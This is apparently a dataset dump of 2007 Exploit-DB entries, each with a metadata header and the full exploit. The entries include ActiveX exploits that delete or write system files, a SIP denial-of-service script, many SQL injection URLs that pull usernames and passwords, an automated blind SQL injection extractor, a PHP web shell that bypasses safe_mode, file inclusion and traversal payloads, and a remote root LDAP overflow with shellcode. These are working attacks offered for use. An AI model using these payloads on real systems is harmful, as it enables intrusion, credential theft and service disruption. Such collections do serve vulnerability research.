QLWD/code_shield huggingface dataset:
标题: NVR SP2 2.0 'nvUtility.dll 1.0.14.0' - 'DeleteXMLFile()' Insecure Method EDB-ID: 4324 CVE: 2007-4583 类型: REMOTE 平台: WINDOWS 发布日期: 2007-08-27 漏洞利用脚本: ----------------------------------------------------------------------------------------------
 NVR SP2 2.0 nvUtility.Utility.1 (nvUtility.dll v. 1.0.14.0) "DeleteXMLFile()" Inscure Method
 url: http://www.acti.com/index.asp

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 This control is marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller
 KillBitSet: Falso
----------------------------------------------------------------------------------------------

<object classid='clsid:A0D43FB0-116B-47AB-80FB-6DCFA92A03E3' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  Dim MyMsg  
   test.DeleteXMLFile "c:\windows\system_.ini"
   MyMsg = MsgBox("Exploit completed!")
 End Sub
</script>

# milw0rm.com [2007-08-27] URL: https://www.exploit-db.com/exploits/4324
标题: Thomson SpeedTouch ST 2030 (SIP Phone) - Remote Denial of Service EDB-ID: 4319 CVE: 2007-4553 类型: DOS 平台: HARDWARE 发布日期: 2007-08-27 漏洞利用脚本: #!/usr/bin/perl

#Vulneravility for Thomson 2030 firmware v1.52.1

#It provokes a DoS in the device.

use IO::Socket::INET;

die "Usage $0 <dst> <port> <username>" unless ($ARGV[2]);

 
$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

        Proto=>'udp',

        PeerAddr=>$ARGV[0]);
 

$msg = "INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP 192.168.1.2;branch=00\r\nFrom: <sip:tucu\@192.168.1.2>;tag=00\r\nTo: <A15+-97:=:\%0B>;tag=00\r\nCall-ID: humbol\@192.168.1.2\r\nCSeq: 1 INVITE\r\n\r\n";

$socket->send($msg);

# milw0rm.com [2007-08-27] URL: https://www.exploit-db.com/exploits/4319
标题: Micro CMS 3.5 - 'revert-content.php' SQL Injection EDB-ID: 4329 CVE: 2007-4602 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-28 漏洞利用脚本: #########################################################################################
#
#                        not sec group
#        http://www.notsec.com     info@notsec.com
#
# [Micro CMS 3.5]
#
# Class:     SQL Injection
# Found:     28/08/2007
# Remote:    Yes
# Site:
http://www.impliedbydesign.com/ibd-micro-cms-static-content-manager.html
# Download:  http://www.impliedbydesign.com/apps/microcms/microcms.zip
# Demo site:
http://www.impliedbydesign.com/micro-cms-content-management-demo.php
#
#########################################################################################


       Vulnerable code:
       cms/revert-content.php
============================================================================================================
$sql = '        SELECT *
           FROM microcms_content_blurb_history
           WHERE content_blurbs_variable = "' . $_GET['id'] . '"
           ORDER BY content_blurb_history_version_num DESC
           LIMIT 1';
$result = mysql_query($sql);
============================================================================================================


       Exploit :
============================================================================================================================================================================================
http://site.com/[micro_cms]/cms/revert-content.php?type=newest&id=1%22%20UNION%20ALL%20SELECT%20null,null,SUBSTRING(administrators_pass,1,16),null,null%20FROM%20microcms_administrators/*
============================================================================================================================================================================================


       Thanks To:
=========================
All notsec.com members;
White_Sheep for Bugs Hunter;
=========================
# notsec.com

# milw0rm.com [2007-08-28] URL: https://www.exploit-db.com/exploits/4329
标题: WBB2-Addon: Acrotxt 1.0 - 'show' SQL Injection EDB-ID: 4327 CVE: 2007-4581 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-27 漏洞利用脚本: ####################################################################
Title: WBB2-Addon: Acrotxt v1 (show) Remote SQL Injection
Bug by: D4m14n [11/07/2007]
Page: www.damians-world.dl.am // www.team-internet.dl.am
Dork: inurl:acrotxt.php wbb
####################################################################

SQL-Injection:
http://[target]/[path]/acrotxt.php?show=[SQL]

Example:
/acrotxt.php?show=-1'/**/UnIoN/**/SElECt/**/null,null,COnCAt(userid,', ',username,', ',password,', ',email),null,null,null,null,null/**/FroM/**/bb1_users/*

####################################################################
#    Doin' this for FUN!
#    GreetZ fly out to Trex, HANN!BAL, Eddy14, Ea$y, Kiba and many more
#
#    PS: I still hate the Black-Music-Scene...
####################################################################

# milw0rm.com [2007-08-27] URL: https://www.exploit-db.com/exploits/4327
标题: NVR SP2 2.0 'nvUtility.dll 1.0.14.0' - 'SaveXMLFile()' Insecure Method EDB-ID: 4323 CVE: 2007-4583 类型: REMOTE 平台: WINDOWS 发布日期: 2007-08-27 漏洞利用脚本: --------------------------------------------------------------------------------------------
 NVR SP2 2.0 nvUtility.Utility.1 (nvUtility.dll v. 1.0.14.0) "SaveXMLFile()" Inscure Method
 url: http://www.acti.com/index.asp

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 This control is marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller
 KillBitSet: Falso
--------------------------------------------------------------------------------------------

<object classid='clsid:A0D43FB0-116B-47AB-80FB-6DCFA92A03E3' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  Dim mStr
  Dim MyMsg  
   mStr = "echo off" & vbCrLf & _
          "cls" & vbCrLf & _
          "echo Hello World!" & vbCrLf & _
          "cmd.exe /c notepad.exe" & vbCrLf & _
          "pause"

   test.SaveXMLFile "c:\shinnai.bat", mStr
   MyMsg = MsgBox("Exploit completed!")
 End Sub
</script>

# milw0rm.com [2007-08-27] URL: https://www.exploit-db.com/exploits/4323
标题: PHP 'Perl' Extension - 'Safe_mode' Bypass EDB-ID: 4314 CVE: 2007-4596 类型: LOCAL 平台: WINDOWS 发布日期: 2007-08-25 漏洞利用脚本: <?php

##########################################################
###----------------------------------------------------###
###----PHP Perl Extension Safe_mode Bypass Exploit-----###
###----------------------------------------------------###
###-Author:--NetJackal---------------------------------###
###-Email:---nima_501[at]yahoo[dot]com-----------------###
###-Website:-http://netjackal.by.ru--------------------###
###----------------------------------------------------###
##########################################################

if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "&lt;/textarea&gt;";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>"

?>

# milw0rm.com [2007-08-25] URL: https://www.exploit-db.com/exploits/4314
标题: PHP 5.2.0 (Windows x86) - 'PHP_iisfunc.dll' Local Buffer Overflow EDB-ID: 4318 CVE: 2007-4586 类型: DOS 平台: WINDOWS_X86 发布日期: 2007-08-27 漏洞利用脚本: <?php
// ==================================================================================
//
//  php_iisfunc.dll PHP <= 5.2.0 (win32) Buffer Overflow PoC
//
//      Discovery: boecke <boecke@herzeleid.net>
//      Risk: Local Buffer Overflow (Medium - High Risk)
//      Notes: Various other functions are exploitable, all of which convert the
//      string argument(s) to unicode.
//
//      extern "C" IISFUNC_API int fnStartService(LPCTSTR ServiceId);
//      extern "C" IISFUNC_API int fnGetServiceState(LPCTSTR ServiceId);
//      extern "C" IISFUNC_API int fnStopService(LPCTSTR ServiceId);
//
//      "Sangre, sonando, de rabia naci.. Who do you trust?"
//       - Cygnus, Vismund Cygnus: Sarcophagi
//
// ==================================================================================

if ( !extension_loaded( "iisfunc" ) )
{
       die( "Extension not loaded.\n" );
}

$buf_unicode = str_repeat( "A", 256 );
$eip_unicode = "\x41\x41";

iis_getservicestate( $buf_unicode . $eip_unicode );

?>

# milw0rm.com [2007-08-27] URL: https://www.exploit-db.com/exploits/4318
标题: Joomla! Component EventList 0.8 - 'did' SQL Injection EDB-ID: 4309 CVE: 2007-4509 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-23 漏洞利用脚本: *******************************************************************************
# Title   :  Joomla Component EventList <= 0.8 (did) Remote Blind SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.schlu.net/
# $$      :  Free
# Dork    :  intext:"Event List 0.8 Alpha by schlu.net "
# DorkEx  :  http://www.google.com.tr/search?q=intext:%22Event+List+0.8+Alpha+by+schlu.net+%22&hl=tr&start=0&sa=N

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//index.php?option=com_eventlist&func=details&did=[SQL Inject]

Example:

//index.php?option=com_eventlist&func=details&did=9999999999999%20union%20select%200,0,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),4,5,6,7,8,9,00,0,444,555,0,777,0,999,0,0,0,0,0,0,0%20from%20jos_users/*

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-08-23] URL: https://www.exploit-db.com/exploits/4309
标题: Joomla! Component Nice Talk 0.9.3 - 'tagid' SQL Injection EDB-ID: 4308 CVE: 2007-4503 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-23 漏洞利用脚本: *******************************************************************************
# Title   :  Joomla Component Nice Talk <= 0.9.3 (tagid) Remote Blind SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.azrul.com
# $$      :  ??
# Dork    :  inurl:index.php?option=com_nicetalk
# DorkEx  :  http://www.google.com.tr/search?q=inurl:index.php%3Foption%3Dcom_nicetalk&hl=tr&start=0&sa=N

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//index.php?option=com_nicetalk&tagid=[SQL Inject]

Example:

//index.php?option=com_nicetalk&tagid=-2)%20union%20select%201,2,3,4,5,6,7,8,0,999,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),777,666,555,444,333,222,111%20from%20jos_users/*

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-08-23] URL: https://www.exploit-db.com/exploits/4308
标题: 2532/Gigs 1.2.1 - 'activateuser.php' Local File Inclusion EDB-ID: 4317 CVE: 2007-4585 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-26 漏洞利用脚本: -°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°

             2532|Gigs 1.2.1 (activateuser.php) Local File Inclusion Vulnerability

                              Discovered by bd0rk || SOH-Crew

                                    www.soh-crew.it.tt

                         The german Coding and IT-Security Ressource

             -°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°


Vendor: http://www.2532gigs.com

Download: http://belnet.dl.sourceforge.net/sourceforge/gigs-2532/2532Gigs_1.2.1_stable.zip

License: Free

Vulnerable Code: include_once("languages/$language/settings.php");



Exploit: http://[h0sT]/[dir]/activateuser.php?language=../../../../../../../../etc/passwd%00



Greetings: str0ke, TheJT, GolD_M, die steffi, khaliDb, x0r_32


####The 18 years old, german Hacker bd0rk####

# milw0rm.com [2007-08-26] URL: https://www.exploit-db.com/exploits/4317
标题: Mambo Component Remository - 'cat' SQL Injection EDB-ID: 4306 CVE: 2007-4505 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-23 漏洞利用脚本: *******************************************************************************
# Title   :  Mambo Component RemoSitory (cat) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.remository.com/
# $$      :  Free
# Dork    :  inurl:func=selectcat + com_remository   // Result:43.400
# DorkEx  :  http://www.google.com.tr/search?q=inurl:func%3Dselectcat+%2B+com_remository&hl=tr&start=0&sa=N

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]///index.php?option=com_remository&func=selectcat&cat=[SQL]

Example:

//index.php?option=com_remository&func=selectcat&cat=64549999%20union%20select%201,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),0,0,0%20from%20mos_users/*

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-08-23] URL: https://www.exploit-db.com/exploits/4306
标题: SunShop Shopping Cart 4.0 RC 6 - 'Search' Blind SQL Injection EDB-ID: 4313 CVE: 2007-4597 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-25 漏洞利用脚本: #!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
 print "\n                         \\#'#/                      ";
 print "\n                         (-.-)                       ";
 print "\n   -----------------oOO---(_)---OOo------------------";
 print "\n   | SunShop v4.0 RC 6 (search) Blind SQL Injection |";
 print "\n   |      k1tk4t - Indonesia - newhack[dot]org      |";
 print "\n   |      coded by DNX [dnx(at)hackermail.com]      |";
 print "\n   --------------------------------------------------";
 print "\n[!] Vendor: http://www.turnkeywebtools.com";
 print "\n[!] Bug: in the search script, u can inject sql code in the s[cid] parameter";
 print "\n[!] Solution: install v4.0.1";
 print "\n[!] Usage: perl sunshop.pl [Host] [Path] <Options>";
 print "\n[!] Example: perl sunshop.pl 127.0.0.1 /shop/ -i 1 -c 10 -o 1 -t ss_admins";
 print "\n[!] Options:";
 print "\n       -i [no]       Valid User-ID, default is 1";
 print "\n       -c [no]       Valid Category-ID with products, default is 1";
 print "\n       -o [no]       1 = get username (default)";
 print "\n                     2 = get password";
 print "\n       -t [name]     Changes the admin table name, default is admins";
 print "\n       -p [ip:port]  Proxy support";
 print "\n";
 exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $user    = 1;
my $cat     = 1;
my $column  = "username";
my $table   = "admins";
my %options = ();
GetOptions(\%options, "i=i", "c=i", "o=i", "t=s", "p=s");

print "[!] Exploiting...\n";

if($options{"i"}) { $user = $options{"i"}; }
if($options{"c"}) { $cat = $options{"c"}; }
if($options{"o"} && $options{"o"} == 2) { $column = "password"; }
if($options{"t"}) { $table = $options{"t"}; }

syswrite(STDOUT, "data:", 5);

for(my $i = 1; $i <= 32; $i++)
{
 my $found = 0;
 my $h = 48;
 while(!$found && $h <= 57)
 {
   if(istrue2($host, $path, $table, $user, $i, $h))
   {
     $found = 1;
     syswrite(STDOUT, chr($h), 1);
   }
   $h++;
 }
 if(!$found)
 {
   $h = 97;
   while(!$found && $h <= 122)
   {
     if(istrue2($host, $path, $table, $user, $i, $h))
     {
       $found = 1;
       syswrite(STDOUT, chr($h), 1);
     }
     $h++;
   }
 }
}

print "\n[!] Exploit done\n";

sub istrue2
{
 my $host  = shift;
 my $path  = shift;
 my $table = shift;
 my $uid   = shift;
 my $i     = shift;
 my $h     = shift;

 my $ua = LWP::UserAgent->new;
 my $url = "http://".$host.$path."index.php?l=search_list&s[title]=Y&s[short_desc]=Y&s[full_desc]=Y&s[cid]=".$cat.")%20AND%20SUBSTRING((SELECT%20".$column."%20FROM%20".$table."%20WHERE%20id=".$uid."),".$i.",1)=CHAR(".$h.")/*";

 if($options{"p"})
 {
   $ua->proxy('http', "http://".$options{"p"});
 }

 my $response = $ua->get($url);
 my $content = $response->content;
 my $regexp = "Add To Cart";

 if($content =~ /$regexp/)
 {
   return 1;
 }
 else
 {
   return 0;
 }
}
# milw0rm.com [2007-08-25] URL: https://www.exploit-db.com/exploits/4313
标题: SIDVault LDAP Server - Remote Buffer Overflow EDB-ID: 4315 CVE: 2007-4566 类型: REMOTE 平台: LINUX 发布日期: 2007-08-25 漏洞利用脚本: #!/usr/bin/python

"""
Alpha Centauri Software SIDVault LDAP Server remote root exploit (0days)
"""

import sys
import socket

sc  = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
sc += "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
sc += "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
sc += "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
sc += "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x41\x33\x4b\x4d\x43\x35"
sc += "\x43\x44\x43\x45\x4c\x56\x44\x30\x4c\x46\x48\x56\x4a\x45\x49\x49"
sc += "\x49\x38\x41\x4e\x4d\x4c\x42\x58\x48\x59\x43\x44\x44\x55\x48\x36"
sc += "\x4a\x36\x41\x31\x4e\x35\x48\x46\x43\x35\x49\x58\x41\x4e\x4c\x56"
sc += "\x48\x56\x4a\x55\x42\x45\x41\x55\x48\x35\x49\x48\x41\x4e\x4d\x4c"
sc += "\x42\x48\x42\x4b\x48\x46\x41\x4d\x43\x4e\x4d\x4c\x42\x48\x44\x35"
sc += "\x44\x55\x48\x45\x43\x54\x49\x38\x41\x4e\x42\x4b\x48\x36\x4d\x4c"
sc += "\x42\x38\x43\x39\x4c\x46\x44\x30\x49\x55\x42\x4b\x4f\x43\x4d\x4c"
sc += "\x42\x38\x49\x54\x49\x47\x49\x4f\x42\x4b\x4b\x50\x44\x35\x4a\x46"
sc += "\x4f\x32\x4f\x42\x43\x57\x4a\x46\x4a\x36\x4f\x32\x44\x56\x49\x36"
sc += "\x50\x46\x49\x38\x43\x4e\x44\x45\x43\x35\x49\x58\x41\x4e\x4d\x4c"
sc += "\x42\x48\x5a"

#
# The address we will use is 0xffffe777 (JMP ESP in Ubuntu's linux-gate.so)
#
addr = "\x77\xe7\xff\xff"

theLine = '\x90'*2076 + addr+ '\x90'*(2019-len(sc)) + sc

pkt  = '0\x82\x10/\x02\x01\x01c\x82\x10(\x04\x82\x10\x06dc='
pkt += theLine
pkt += '\n\x01\x02\n\x01\x00\x02\x01\x00\x02\x01\x00\x01\x01\x00\x87\x0bobjectClass0\x00'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 389))
s.send(pkt)
s.close()

# milw0rm.com [2007-08-25] URL: https://www.exploit-db.com/exploits/4315
标题: Joomla! Component NeoRecruit 1.4 - 'id' SQL Injection EDB-ID: 4305 CVE: 2007-4506 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-23 漏洞利用脚本: *******************************************************************************
# Title   :  Joomla Component NeoRecruit <= 1.4 (id) Remote Blind SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.neojoomla.com/
# $$      :  54,90 â‚¬
# Dork    :  inurl:index.php?option=com_NeoRecruit
# DorkEx  :
http://www.google.com.tr/search?hl=tr&q=inurl%3A%22index.php%3Foption%3Dcom_ponygallery%22&btnG=Ara&meta=lr%3D

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//index.php?option=com_neorecruit&task=offer_view&id=[SQL Inject]

Example:

//index.php?option=com_neorecruit&task=offer_view&id=99999999999%20union%20select%201,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),3,4,5,6,7,8,111,222,333,444,0,0,0,555,666,777,888,1,2,3,4,5,0%20from%20jos_users/*

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-08-23] URL: https://www.exploit-db.com/exploits/4305
标题: Joomla! Component BibTeX 1.3 - Blind SQL Injection EDB-ID: 4310 CVE: 2007-4502 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-23 漏洞利用脚本: <html>
<head>
<title>Joomla Component BibTeX <= 1.3 Remote Blind SQL Injection Vulnerability</title>
</head>
<body>

<!-- # Title   :  Joomla Component BibTeX <= 1.3 Remote Blind SQL Injection Vulnerability -->
<!-- # Author  :  ajann -->
<!-- # Contact :  :( -->
<!-- # S.Page  :  http://www.everythingthatiknowabout.com -->
<!-- # $$      :  Free -->
<!-- # Dork    :  inurl:index.php?option=com_jombib -->
<!-- # DorkEx  :  http://www.google.com.tr/search?q=inurl:index.php%3Foption%3Dcom_jombib&hl=tr&start=0&sa=N -->
<!-- # .. -->
<!-- # TURKEY -->

<!-- # Note: Pls Edit [form action=] and Direct Submit // form action example: xx.xx/path/index.php?option=com_jombib-->




<form action="...." method="post" name="adminForm">

    <table>
     <tr>
       <td valign="bottom">
        Autore
        <input type="text" name="afilter" value="abcdefg' union select 111,222,333,444,555,1,1,1,1,1,2,3,4,5,6,1,2,3,4,5,3,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),5,4,2,2,2,2,2,0,0,0 from jos_users/*" class="inputbox" onchange="document.adminForm.submit();" size="20" />
       </td>
       <td valign="bottom">
        Titolo
        <input type="text" name="filter" value="" class="inputbox" onchange="document.adminForm.submit();" size="20" />
       </td>

       <td valign="bottom">
        <input type="submit" value="Direct Submit"/>
       </td>
       <td valign="bottom">
        &nbsp;&nbsp;&nbsp;Ordina&nbsp;
<select name="order" class="inputbox" size="1"  onchange="document.adminForm.submit();">
 <option value="ryear" selected="selected">Date desc</option>
 <option value="year">Date asc</option>

 <option value="title">Title asc</option>
 <option value="rtitle">Title desc</option>
 <option value="author">Author asc</option>
 <option value="rauthor">Author desc</option>
 <option value="journal">Journal asc</option>
 <option value="rjournal">Journal desc</option>

 <option value="type">Type</option>
</select>
       </td >
       <td nowrap="nowrap" valign="bottom">
        &nbsp;&nbsp;&nbsp;Mostra&nbsp;
<select name="limit" class="inputbox" size="1" onchange="document.location.href='http://www.gruppofrattura.it/index.php?option=com_jombib&amp;&amp;order=ryear&amp;limit=' + this.options[selectedIndex].value + '&amp;limitstart=0';">
 <option value="5">5</option>
 <option value="10">10</option>

 <option value="15">15</option>
 <option value="20">20</option>
 <option value="25">25</option>
 <option value="30">30</option>
 <option value="50" selected="selected">50</option>
</select>
       </td>

     </tr>
    </table>


  <input type="hidden" name="option" value="com_jombib" />
  <input type="hidden" name="catid" value="$catId" />
  </form>

</body>
</html>

# milw0rm.com [2007-08-23] URL: https://www.exploit-db.com/exploits/4310
标题: Joomla! Component RSfiles 1.0.2 - 'path' File Download EDB-ID: 4307 CVE: 2007-4504 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-23 漏洞利用脚本: *******************************************************************************
# Title   :  Joomla Component RSfiles <= 1.0.2 (path) Remote File Download Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.rsjoomla.com
# $$      :  10 $
# Dork    :  inurl:"/index.php?option=com_rsfiles"
# DorkEx  :  http://www.google.com.tr/search?hl=tr&q=inurl%3A%22%2Findex.php%3Foption%3Dcom_rsfiles%22&btnG=Ara&meta=

*******************************************************************************

[[Remote File]]]---------------------------------------------------------

http://[target]/[path]//index.php?option=com_rsfiles&task=files.display&path=[File]

Example:

//index.php?option=com_rsfiles&task=files.display&path=..|index.php
//index.php?option=com_rsfiles&task=files.display&path=..|..| etc..

[[/Remote File]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-08-23] URL: https://www.exploit-db.com/exploits/4307